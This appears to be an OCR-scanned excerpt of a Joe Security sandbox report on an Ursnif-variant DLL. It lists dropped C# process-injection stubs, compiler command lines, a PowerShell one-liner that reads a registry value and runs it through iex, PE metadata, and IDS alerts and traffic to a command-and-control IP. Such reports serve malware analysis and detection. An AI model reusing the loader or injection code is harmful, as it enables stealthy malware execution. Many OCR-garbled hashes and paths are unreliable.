SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDA579CCB851F8DBIDFEB4C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FIBD058A12A280433EDEFA4651
0A

Malicious: false

Preview: 1

C:\Users\user\AppData\Local\Temp\boqgffzj\CSC6A71A2D878D54201A284CABB415B85EF.TMP

Process: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe
File Type: MSVC .res

Category: dropped

Size (bytes): 652

Entropy (8bit):  3.1106268299163986

Encrypted: false

SSDEEP: 12:DXt4li3ntuAHia5YA49aUGigMZAIN5gryWpYak7YnqqrpNPN5DIg5J:+RI+ycuZhNJakSXPNngX

MD5: AC00C19757068F83CB50DFA6C5FB7255

SHAL: 5A0AC7FD81E2F8CDF625709537454AFD7C1F6C7B

SHA-256: 3635478A4D062AF857A8566DD85AB46EE9253177E6445DAFEOFDFF127F49D709

SHA-512: 0ABES540517605E74DF22CBF3795FC4D9B484B8BE309B85BA1BFF1576391CF994BF5CD860B32F6031C3E8484443413FB37B298D00DC5BCD8B10DCC73C7FCI2A
C

Malicious: false

Preview: L..< 0.. L.4..V.S._V.E.R.S..LO.N._.LN.F.O.. .D...VarF.ilelnfo...$..Trans.latio.n

S.tring.F.ile.lnfo......0.0.0.0.04.b.0.....FileD.es.c.rip.tion.....0...FileV.ers.io.n...0..0..0..0..<..lnternalNam.e..bo.qg.g.ffzj.dlLL.
.LegalcC.opy.right. .D..OriginalF.ilenam.e..b.o.q.g.ffzj..dll..4..Produ.ctV.ers.io.n..0..0..0..0..8..Assemb.ly. Vers.io.n..0..
0...0...0...

C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.0.cs

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: UTF-8 Unicode (with BOM) text

Category: dropped

Size (bytes): 403

Entropy (8bit):  5.058106976759534

Encrypted: false

SSDEEP: 6:V/DsYLDS81zuJiWmMRSR7alnQTsyBSRa+rVSSRnA/fpM+y:V/DTLDfuQWMBDw9rV5nA/3y

MD5: 99BD08BC1FOAEA085539BBC7D61FA79D

SHA1L: F2CA39B111C367D147609FCD6C811837BE2CE9F3

SHA-256: 8DFFOB4F90286A240BECA27EDFC97DCB785B73B8762D3EAE7C540838BC23A3E9

SHA-512: E27A0BF1E73207800F410BA9399F1807FBA940F82260831E43C8FOA8B8BFA668616D63B53755526236433396AF4EF21E1EBODFA9E92A0F34DB8A14C292660396
Malicious: false

Preview: .using System;.using System.Runtime.InteropServices;..namespace W32.{. public class bju. {. [Dllimport("kernel32")].public static extern uint QueueUserAPC(IntPtr

wayemwbu, IntPtr vibfvx,IntPtr hokikv);.[Dllimport(“kernel32")].public static extern IntPtr GetCurrentThreadld();.[Dllimport(“kernel32")].public static extern IntPtr Open
Thread(uint ugvnjbf,uint pmyb,IntPtr rheqdsvorya);.. }..}.

C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.cmdline

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 369

Entropy (8bit): 5.274033501792091

Encrypted: false

SSDEEP: 6:pAu+H2LvkuqJDdgxLTKbDdgB/6K2wkn23f2zxs7+AEszIwkn23fL:p37Lvkmb6KRIOWZEIfD

MD5: AC0706D981AAFBBEAB5D159A0606FD69

SHAL: C21C570B756DF393048921EDA77C8BD3D67B2E84

SHA-256: 33A657560271FCC02DCBABICE1B64DCDDB1668571DFDA4BDE24BFAG5265F6303

SHA-512: 6FC248335C3D231DC30EB7A484697A565620AF3C503301174B00BFEAEF298CA59DFE44FFBE218D99AC512DAACOECEN0766DB096234E7CEF8BBB8D22D113F2E
A8
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Malicious:

Preview:

false

Jtlibrary /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\Sys
tem.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.dll" /debug- /optimize+ /warnaserror /optimize+ "C
:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.0.cs"

C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe

PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

3584

2.620004385389585

false

24:etGSA80mMUOt3Im85xWAse04zsQ64pfUPtkZf1fAVUWI+ycuZhNJakSXPNNq:66 XQ3r5xNOzQfUuJ1f431ulJa3Fq
0A77B73B308307CA80178B91A6ADB373

77ECF476524ED9C50F0A3407AFD1C567CB9575E9
3AFE47D5D1AA26A1A72D9D41295AB4D0F6418F2A9EF7F242DFF30B222E465670
D6D399E42758518F135D90C8B54E574EE78154B34EF8BBE4AC1E4DAD582B92460E343F335B66FEB6338F708FBB14F7A9437DD0324928D9EA153926BD1E9958167

false

C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.out

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
modified

866

5.354685799707944

false

24:Ald3kabKRfPEifikaM5DgBVKVrdFAMBJITH:Akka6 CPEuUiKxDcVKdBJj
B1542326ED57702090D125AF64F2C458
599EC5D66F76B4EF2A049D6FCFC4A3C12FC889B9
4E39D256644F4E4034CADD2599F89BEC1FB13DC3CCE6C57AEEE0C95A54196409

E723D31CCEB781CD77CB0OBA3170760E37B541DEF4B7756C7C7447A4D37722AF5C0B6A353BB1E22E7D322D1C5539DCE9A1977480121D0FOA3F8CCOF14D580EE
B2

false

.C:\Windows\system32> "C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC
_MSIL\System.Management.Automation\v4.0_3.0.0.0__ 31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\L
ocal\Temp\boqgffzj\boqgffzj.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.0.cs"......Microsoft (R) Visual C# Compil
er version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved....... This compiler is provided as part of the Microsoft (R) .NET Framework, but
only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://
go.microsoft.com/fwlink/?LinklD=533240....

C:\Users\user\AppData\Local\Temp\yb3geOmO\CSCCD644729527F4748ACD0O6F6743FBF148.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe

MSVC .res

dropped

652

3.079770810918438

false
12:DXt4li3ntuAHia5YA49aUGigMZAiN5grynak7YnqqgjPN5DIg5J:+RI+ycuZhNFakSjPNngX
49500D4CE94E9FDBED89D7BD8B1B61CE
BB950690E95DB3D2BD465D0CBA1C6E3DB840113A
E633211CABB9254E3534A63C5F7F8AB979674BC04E6A15F5C87ABDAAEGBGSFIF
4B9EF8040EOEA72981D3E7E4D4AFD7FA515F8DFDE2304E58D2DA028F157857B590DFF106338275969A556C256E9604296827CAD0312450497CBE9F74765C24847
false

............................... LSO LALV.S._VEERSILON_INF. O ?eccicccee D Voaar Fillednfo. L $e L Trans.lation. ...
S.trin.g.F.ilelnfo......0.0.0.0.04.b.0...,...F.ileD.es.crip.tion.....0..FileV.ers.io.n...0..0..0..0..<..lLnternalNam.e.yb.3g.e0mo0..dlLlL..(.
.LegalcCo.pyright...D..OriginalF.ilenam.e..y.b3.g.e0m.0.dll..4..Pro.du.c.tV.ers.io.n.0..0..0..0.8..Assemb.ly. V.ers.io.n.0..
0...0...0...
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C:\Users\user\AppData\Local\Temp\yb3geOm0\yb3geOmO0.0.cs

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text

dropped

392

4.988829579018284

false
6:V/DsYLDS81zuJ6VMRSRa+eNMjSSRr92B7SSRNAtwy:V/DTLDfuk9eg5r9yeqy
80545CB568082AB66554E902D9291782
D013E59DC494D017F0E790D63CEB397583DCB36B
E15CA20CFE5DE71D6F625F76D311E84240665DD77175203A6E2D180B43926E6C

C5713126BOCB0O60EDF4501FE37A876DAFEDF064D9ASDCCDOBD435143DAB7D209EFBC112444334627FF5706386FB2149055030FCA01BA9785C33AC68E268B91¢
D

false

.using System;.using System.Runtime.InteropServices;..namespace W32.{. public class buvbcy. {. [Dllimport("kernel32")].public static extern IntPtr GetCurrentProc
ess();.[Dllimport("kernel32")].public static extern void SleepEx(uint jujgjjcr,uint fvu);.[Dllimport("kernel32")].public static extern IntPtr VirtualAlloc(IntPtr fnpgam,uint ecktq,
uint arixnpjcmw,uint mbhifa);..  }..}.

C:\Users\user\AppData\Local\Temp\yb3geOm0\yb3geOmO0.cmdline

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators

dropped

369

5.204819009968354

false
6:pAu+H2LvkugJDdgxLTKbDdgB/6K2wkn23foCFqzxs7+AEszlwkn23foCFP:p37Lvkmb6KRftUWZEIftR
160910514166C81D1D40C8920B01A46A

3E32407C4BED09BC17BE31DDADA342D9C2312661
7BF351FAEA9FE7A2F007FIEC7FEG62E6F42FCBC597586709D4C28C341220EA3CD
1BC303B9224368AB07725E891E1A45C227AC5BDC998CBA93C73BE43035E7623B9B126876F33A53B140A35E5678FD504461514146B455B6974B1E80A47F76F57F
false

Jtlibrary /utfoutput /R:"System.dIl" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\Sys
tem.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\yb3geOm0\yb3geOmO.dll" /debug- /optimize+ /warnaserror /optimize+ “C
\Users\usen\AppData\Local\Temp\yb3geOmO\yb3geOm0.0.cs"

C:\Users\user\AppData\Local\Temp\yb3geOm0\yb3geOmO.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe

PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

3584

2.588749209549368

false
24:etGSgE/u2Bg8527xIfwZD6VFgdWatkZfog/PWI+ycuZhNFakSjPNng:6WYb5hFCD6vQWdJogW1ulFa3Jdg
4BF37FD3F1893298DD04D902FF42CB3C

F32FDE1A15FB3AA788CB92B323E0358E60D2130D
34E3240AD8DDD2C5CCB04C8240DF70FB9A138084134AD61D0586E3CA72467B0D

1E965509C738B58EFBF8574F3D9F9907DA7A683D8ED6902481F6BD74DD87CFDOAYEY4F7DDDOCCFE39437286A54FDAC8CD60764D5B54EB7289CB4D0AB29ELL
3D

false

C:\Users\user\AppData\Local\Temp\yb3geOm0\yb3geOmO.out

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
modified

866

5.323364450020492
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Encrypted:
SSDEEP:
MDS5:
SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

false

24:Ald3kabKRf3Eif6KaM5DgBVKVrdFAMBJITH:Akka6C3EU6KxDcVKdBJj

7CB77F9CD9B961C5FA10DC8E382363B5

87B2639DFD176D5E3C6EECADCAF41EBE5S655016E

833D763ABB5539AB25BBDEB836035EA6675EC58FE3CFAFD3783A3CCCIFCF4641
C9769A8C51B9D1644BAE7170EFDC7243499D3D0606F2029E78C6E252E1B5B2BB603E647CEAB86FE2B8657E72D68100D296F1BEE6927361D3A27A0E641D06409
false

.C:\Windows\system32> "C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dIl" /R:"C:\Windows\Microsoft.Net\assembly\GAC
_MSIL\System.Management.Automation\v4.0_3.0.0.0__ 31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\L
ocal\Templyb3geOmO\yb3geOmO.dIl" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\yb3geOmO0\yb3geOm0.0.cs"......Microsoft (R) Visual
C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved....... This compiler is provided as part of the Microsoft (R) .NET Fra
mework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming |
anguage, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\Documents\20220428\PowerShell_transcript.609290.5b3sR3N3.20220428153620.txt

Process:
File Type:
Category:

Size (bytes):

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
dropped

1355

Entropy (8bit):  5.38313824612596
Encrypted: false
SSDEEP: 24:BXxSAR7vBZJIsx2DOXUWS50+LCH1r4gWMHjeTKKjX4Clym1ZJXu50+LCH1r4JnxSAO:BZNvjOoOy50h1r4tMgDYB1ZY50h1r4NY
MD5: 23065A2E9223FCI9CEAE89DD35C355A2D
SHA1L: 6F6E50249A7DC923FEF89EE6CBD4D1D7C7139750
SHA-256: 511CF786FA26019498C2542D4CB3954694D9406468A6875A04172D4ACEQOSD1C9A
SHA-512: 8C0B98F86DC6D00E16785EBD3FAE84BEC1DDA1B3C2F26AC3778EBA2C92E84611E5B3E82DES28F270B9439618B7EB1135425587D83E033AA889CABB1E11EI3E
2D
Malicious: false
Preview: ek Windows PowerShell transcript start..Start time: 20220428153622..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 609290 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe new-alias -name elhthuju -v
alue gp; new-alias -name fwiwawp -value iex; fwiwawp ([System.Text.Encoding]::ASCII.GetString((elhthuju HKCU:Software\AppDatalow\Software\Microsoft\54E80703-
A337-A6B8-CDC8-873A517CABOE).UrlsReturn))..Process ID: 6648..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5
.1.17134.1. BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..****
. ..Command start time: 20220428153622. ****+xxhkrkikiririnix PS>new-alias -name elhthuju -value gp; new-alias -name fwiwawp -va
lue iex; fwiwawp ([Sys
Static File Info
General
File type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit): 6.102085694749143
TriD: e Win32 Dynamic Link Library (generic) (1002004/3) 99.60%
e Generic Win/DOS Executable (2004/3) 0.20%
e DOS Executable Generic (2002/1) 0.20%
e Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name: 6262961800203.dlI
File size: 618496
MD5: d6c8aff647ab919e9bc6f2c8aeb125¢7
SHAL: 71¢3d08ba85869ch45ch611c3efodasf5736b70
SHA256: de5d66f93a36ef1db41b9b53913296¢0ff2828d0b07baff68154fc54683ac45¢
SHA512: 060d12d327494cacdf42379abc7448087c1b2af5df6c7a417a02a8e1119dff394420ffa3259dbe2fb90f84bf337celce9c6c02feab72a31249edd47144bag80be
SSDEEP: 6144:eBbkmU1vOupldSdX8vxxaYuQ1n79ImdrjhXccbwD1YI/ROodd6MbBCKaDhabuFGs:iUJVpXScgQ1ln7DQJbES/OodJ+KS
TLSH: 62D4E029C7501A6AD81537791899803F0A39F978E32F70EF26847D6FB50A6F05A34F39
File Content
Preview:
File Icon
Icon Hash: 9068eccc64f6e2ad
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Static PE Info

General

Entrypoint: 0x401023

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics: TERMINAL_SERVER_AWARE

Time Stamp: 0x411096D1 [Wed Aug 4 07:57:05 2004 UTC]

TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:

Subsystem Version Major:

o o o o o Ou

Subsystem Version Minor:

Import Hash: de44747c447d17324a209c20a63c5698

Entrypoint Preview
Instruction

jmp 00007FF48C72ED1Dh
jmp 00007FF48C75F398h
jmp 00007FF48C72EA93h
jmp 00007FF48C72E86Eh
jmp 00007FF48C72EB19h
jmp 00007FF48C72E6F4h
jmp 00007FF48C7648DFh
jmp 00007FF48C72E81Ah
jmp 00007FF48C757D45h
jmp 00007FF48C767B80h
jmp 00007FF48C76379Bh
jmp 00007FF48C768C86h
jmp 00007FF48C72E7ALh
jmp 00007FF48C758EDCh
jmp 00007FF48C76B407h
jmp 00007FF48C7626F2h
jmp 00007FF48C759F2Dh
jmp 00007FF48C76D548h
jmp 00007FF48C72E923h
jmp 00007FF48C76A0AEh
jmp 00007FF48C760579h
jmp 00007FF48C75AF44h
jmp 00007FF48C769CDFh
jmp 00007FF48C72EA7AR
jmp 00007FF48C765985h
jmp 00007FF48C75D290h
jmp 00007FF48C76D4DBh
jmp 00007FF48C75C156h
jmp 00007FF48C72EA71h
jmp 00007FF48C72E77Ch
jmp 00007FF48C766AB7h
jmp 00007FF48C76C422h
int3

int3

int3

int3

int3
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Instruction
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3

Rich Headers

Programming Language:

Data Directories

Name

IMAGE_DIRECTORY_ENTRY_EXPORT
IMAGE_DIRECTORY_ENTRY_IMPORT
IMAGE_DIRECTORY_ENTRY_RESOURCE
IMAGE_DIRECTORY_ENTRY_EXCEPTION
IMAGE_DIRECTORY_ENTRY_SECURITY
IMAGE_DIRECTORY_ENTRY_BASERELOC
IMAGE_DIRECTORY_ENTRY_DEBUG
IMAGE_DIRECTORY_ENTRY_COPYRIGHT
IMAGE_DIRECTORY_ENTRY_GLOBALPTR
IMAGE_DIRECTORY_ENTRY_TLS

Copyright Joe Security LLC 2022

Virtual Address
0x0
0x8a000
0x8b000
0x0

0x0
0x98000
0x40000
0x0

0x0

0x0

© o o o o 0 o 0 0 o o o o

[IMP] VS2012 UPD4 build 61030

[ C1VS2013 UPD2 build 30501
[IMP] VS2013 UPD3 build 30723
[IMP] VS2010 SP1 build 40219
[C++] VS2013 build 21005

[RES] VS2008 build 21022

[IMP] VS2013 build 21005

[LNK] VS2015 UPD3.1 build 24215
[EXP] VS2008 build 21022

[ C]1VS2013 UPD3 build 30723
[C++] VS2017 v15.5.4 build 25834
[RES] VS2013 build 21005

[ C]VS2017 v15.5.4 build 25834

Virtual Size
0x0
Oxa0
0xc100
0x0
0x0
0x1010
0x38
0x0
0x0
0x0

Is in Section

.idata

.Isrc

.reloc

.rdata
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Name Virtual Address Virtual Size Is in Section

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT Ox8a2ac 0x20c .idata

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x1000 Ox1 text

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Sections

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 0x3efe0 0x3f000 False 0.375902932788 data 4.4597296346 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

.rdata 0x40000 0x3fb5f 0x40000 False 0.815296173096 data 7.22909930069 IMAGE_SCN_CNT_INITIALIZED_
DATA, IMAGE_SCN_MEM_READ

.data 0x80000 0x9537 0x7000 False 0.327043805804 data 5.46899156125 IMAGE_SCN_CNT_INITIALIZED_
DATA,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

.idata 0x8a000 0x98d 0x1000 False 0.2060546875 data 2.48883672307 IMAGE_SCN_CNT_INITIALIZED_
DATA,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

.rsrc 0x8b000 0xc100 0xd000 False 0.465106670673 data 5.38059585556 IMAGE_SCN_CNT_INITIALIZED_
DATA, IMAGE_SCN_MEM_READ

.reloc 0x98000 0x17d7 0x2000 False 0.237915039062 data 3.90488138375 IMAGE_SCN_CNT_INITIALIZED_
DATA,
IMAGE_SCN_MEM_DISCARDABL
E, IMAGE_SCN_MEM_READ

Resources

Name RVA Size Type Language Country

RT_BITMAP 0x8b510 0x666 data English United States

RT_ICON 0x8bb78 0x485d PNG image data, 256 x 256, 8-bit/color RGBA, non-  English United States

interlaced
RT_ICON 0x903d8 0x25a8 dBase IV DBT of ".DBF, block length 9216, next free  English United States

block index 40, next free block 331218944, next
used block 4106092544

RT_ICON 0x92980 Oxea8 data English United States
RT_ICON 0x93828 0x8a8 dBase IV DBT of @.DBF, block length 1024, next English United States
free block index 40, next free block 0, next used
block 0
RT_ICON 0x940d0 0x568 GLS_BINARY_LSB_FIRST English United States
RT_DIALOG 0x94638 Oxb4 data English United States
RT_DIALOG 0x946f0 0x120 data English United States
RT_DIALOG 0x94810 0x158 data English United States
RT_DIALOG 0x94968 0x202 data English United States
RT_DIALOG 0x94b70 0xf8 data English United States
RT_DIALOG 0x94c68 0xa0 data English United States
RT_DIALOG 0x94d08 Oxee data English United States
RT_GROUP_ICON 0x94df8 Ox4c data English United States
RT_VERSION 0x94e48 0x290 MS Windows COFF PA-RISC object file English United States
Imports
DLL Import
msvcrt.dll fgetwe, streoll, srand
GDI32.dll GetBkColor, ExtSelectClipRgn, GetTextMetricsW, GetCharWidthFloatA, GetCharWidth32A, GetTextCharacterExtra,

GetCharWidthA, GdiComment

KERNEL32.dll GetStringTypeA, WriteProcessMemory, GetCommTimeouts, GetConsoleCP, EnumResourceTypesA, GlobalFlags,
GetFileTime, GetThreadLocale, LocalHandle, GetLargestConsoleWindowSize, EraseTape, GetDiskFreeSpaceExA,
IstrlenA, GlobalMemoryStatus, GetModuleFileNameA, GetBinaryTypeA, DebugBreak

ADVAPI32.dll RegGetValueA, GetFileSecurityA, EnumServicesStatusExW, InitiateSystemShutdownExW

mscms.dll GetColorDirectoryW

USER32.dll GetClientRect, GetClassNameA, GetPropW, GetScrollBarinfo, DeleteMenu, MessageBoxIndirectW,
GetMenultemRect, GetMessagePos, DefMDIChildProcW, GetUpdateRgn, LoadMenuA, GetQueueStatus,
GetMessageW

OLEAUT32.dll LoadTypeLibEx, GetRecordInfoFromTypelnfo

Copyright Joe Security LLC 2022 Page 22 of 48



Version Infos
Description
LegalCopyright
InternalName
FileVersion
CompanyName
ProductName
ProductVersion
FileDescription
OriginalFilename

Translation

Possible Origin

Language of compilation system

English

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID
04/28/22- TCP 203320
15:36:09.408600 3
04/28/22-

15:36:09.408600

04/28/22- TCP 203320
15:36:11.602821 3
04/28/22-

15:36:11.602821

04/28/22- TCP 203320
15:35:48.541659 3
04/28/22-

15:35:48.541659

04/28/22- TCP 203320
15:36:10.453628 3
04/28/22-

15:36:10.453628

TCP Packets

Timestamp

Apr 28, 2022 15:36:09.334805965 CEST
Apr 28, 2022 15:36:09.404352903 CEST
Apr 28, 2022 15:36:09.404525042 CEST
Apr 28, 2022 15:36:09.408600092 CEST
Apr 28, 2022 15:36:09.476322889 CEST
Apr 28, 2022 15:36:09.817040920 CEST
Apr 28, 2022 15:36:09.817101002 CEST
Apr 28, 2022 15:36:09.817142963 CEST
Apr 28, 2022 15:36:09.817173004 CEST
Apr 28, 2022 15:36:09.817179918 CEST
Apr 28, 2022 15:36:09.817205906 CEST
Apr 28, 2022 15:36:09.817212105 CEST
Apr 28, 2022 15:36:09.817220926 CEST
Apr 28, 2022 15:36:09.817226887 CEST
Apr 28, 2022 15:36:09.817260027 CEST
Apr 28, 2022 15:36:09.817271948 CEST

Copyright Joe Security LLC 2022

Data

A Company. All rights reserved.

1.0.0.0

A Company

1.0.0.0

myfile.exe

0x0409 0x04b0

Country where language is spoken

United States

Message

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)

Source Port Dest Port
49763 80

80 49763
49763 80
49763 80

80 49763
80 49763
80 49763
80 49763
49763 80

80 49763
49763 80
49763 80

80 49763
49763 80

80 49763
49763 80

Source IP
192.168.2.4
94.140.115.8
192.168.2.4
192.168.2.4
94.140.115.8
94.140.115.8
94.140.115.8
94.140.115.8
192.168.2.4
94.140.115.8
192.168.2.4
192.168.2.4
94.140.115.8
192.168.2.4
94.140.115.8
192.168.2.4

Source
Port

49763

49763

49760

49763

Map

Dest

Source IP
Port

80 192.168.2.4

80 192.168.2.4

80 192.168.2.4

80 192.168.2.4

Dest IP
94.140.115.8
192.168.2.4
94.140.115.8
94.140.115.8
192.168.2.4
192.168.2.4
192.168.2.4
192.168.2.4
94.140.115.8
192.168.2.4
94.140.115.8
94.140.115.8
192.168.2.4
94.140.115.8
192.168.2.4
94.140.115.8

Dest IP

94.140.115.8

94.140.115.8

13.107.42.16

94.140.115.8
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Timestamp Source Port Dest Port Source IP Dest IP

Apr 28, 2022 15:36:09.817291021 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.817313910 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.817332983 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.817351103 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.817372084 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.817380905 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.817414045 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.817420959 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.817460060 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.873228073 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.873258114 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.873275995 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.873294115 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.873311996 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.873331070 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.873332024 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.873356104 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.873379946 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.873411894 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.873430967 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.873464108 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.873466015 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.873481989 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.873491049 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.873509884 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.873524904 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.873534918 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.873570919 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.873580933 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.873594999 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.873624086 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.873646021 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.894737959 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.894778967 CEST 80 49763 94.140.115.8 192.168.2.4
